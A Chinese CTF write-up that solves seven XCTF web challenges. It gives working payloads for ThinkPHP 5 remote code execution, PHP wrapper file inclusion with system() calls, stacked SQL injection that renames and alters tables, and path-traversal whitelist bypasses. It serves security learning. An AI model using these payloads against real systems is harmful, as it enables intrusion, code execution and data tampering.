XCTF进阶区刷题笔记---2020/11/15

1.baby_web


题目地址

打开发现题目被定位到/1.php,根据提示改为index.php,发现还是1.php

打开网络网络监视的index.php文件发现location被设置为1.php,并且找到FLAG


F12

2.Training-WWW-Robots 

访问http://220.249.52.133:59005/robots.txt

发现

爬虫协议

http://220.249.52.133:59005//fl0g.php得到flag

3.php_rce

考点:ThinkPHP5框架底层对控制器名过滤不严,通过url调用到ThinkPHP框架的敏感函数

刚拿到题目没有思路,建议百度一下(tcl

这里推荐Freebuf的一篇文章:ThinkPHP 5.1框架结合RCE漏洞的深入分析

难的不像个两分题

直接给payload:?s=index/think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

4.web_php_include

考点:文件包含和PHP伪协议  大佬的 伪协议学习资料

题目源码

方法1:PHP://input伪协议

strstr()-搜索一个字符串在另一个字符串是否存在(不区分大小写),如果存在则返回字符串及其剩余部分

strstr(string,search,before_search)

str_replace("php://"," ",$page)-搜索$page中是否有php://如果有则用" "代替  区分大小写

可以用PHP://input绕过str_replace函数

构造payload:http://220.249.52.133:41917/?page=PHP://input


input的post流

发现flag的地址 fl4gisisish3r3.php


flag在源码的注释中

如果用 页面会直接显示出fl4gisisish3r3.php的源码 内含flag。

方法二:date伪协议

构造payload

http://220.249.52.133:33309/?page=data://text/plain,%3C?php%20system(%22ls%22);?%3E

发现fl4gisisish3r3.php文件后


题解


5.supersqli

刚看到题目先用1" or 1=1# 来看看注入效果


发现可以注入 且为get形注入

1.想尝试了一下union方式的注入

先用order by 来判断列数 举例: 15' order by 2 #  发现字段数为2

构造payload:15' union select database(),user()#

被正则表达式过滤----失败

2.改用堆叠注入:使用分号结束上一个语句再叠加其他语句一起执行


15';show databases;#

查询所有的表

15';show tables;#

查询words表中的所有列

payload: 15';show columns from words;#

words表

查询1919810931114514表中的所有列

payloda:15';show columns from`1919810931114514`;#


1919810931114514表

由前面的order by 判断出2列可以查询的默认的查询表为words

改变默认的查询表格,并将flag列名改为id

payload:

15';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table  `words` change `flag` `id` varchar(100);#

然后用万能钥匙(hhh

1' or 1=1#

得到flag


flag!

6.ics-06

根据题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

点开报表中心进入新的页面

迷惑性极强

发现页面多了给日期范围

起初以为题目的题眼在日期范围,多次尝试无果(死都没想到id爆破)

搜索发现是id爆破,URL get方式请求了id=1,自己搞个id字典开始爆破。

2333!

发现2333length不一样 点开找到flag。

7.warmup(经典题)

F12发现注释

访问http://220.249.52.133:59743/source.php

接着访问hint.php 页面显示flag not here, and flag in ffffllllaaaagggg 重新返回source.php 仔细审计一遍代码


主要运行代码

首先! empty($_REQUEST['file']  file参数不能为空

其次! empty($_REQUEST['file'] file参数必须为字符串

接着我们来看checkFile函数


checkfile函数

首先定义了给白名单 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

其次if (! isset($page) || !is_string($page)) 所以file参数的值不能为空且必须是字符串

接着if (in_array($page, $whitelist)) 验证file参数是否在白名单中,如果你此时的file参数为source.php或hint.php 则会访问source.php或hint.php;显然你要访问的不是它们。

接着往下看

$_page = mb_substr($page,0,mb_strpos($page . '?', '?')

if (in_array($_page, $whitelist)) {return true;}

substr(string,start,length):返回字符串的一部分

string:必需。规定被搜索的字符串。  find:必需。规定要查找的字符。 start:可选。规定要返回的字符串长度。默认是直到字符串的结尾。

strpos(string,find,start):查找字符串在另一字符串中第一次出现的位置

string必需。规定被搜索的字符串。 find必需。规定要查找的字符。 start可选。规定开始搜索的位置。

所以这一段代码的意思是 返回第一个?之前的字符串 如果存在于白名单则返回true。

这里出现了个非预期解法(何为非预期:出题人没想到的

payload:file=hint.php?../../../../../ffffllllaaaagggg (tip:这里的../是一个一个试出来的)

或者 file=source.php?../../../../../ffffllllaaaagggg

抛开这个解法

接着往下看 $_page = urldecode($page);此处是一个url解码

构造payload:file=source.php%253f../../../../../ffffllllaaaagggg

或者file=hint.php%253f../../../../../ffffllllaaaagggg

因为url经过后端时候会自动进行一次解码 所以需要二次编码 ?的第一次URL编码是%3f 第二次URL编码是%253f

可以得到flag.


ffffllllaaaagggg

你可能感兴趣的:(XCTF进阶区刷题笔记---2020/11/15)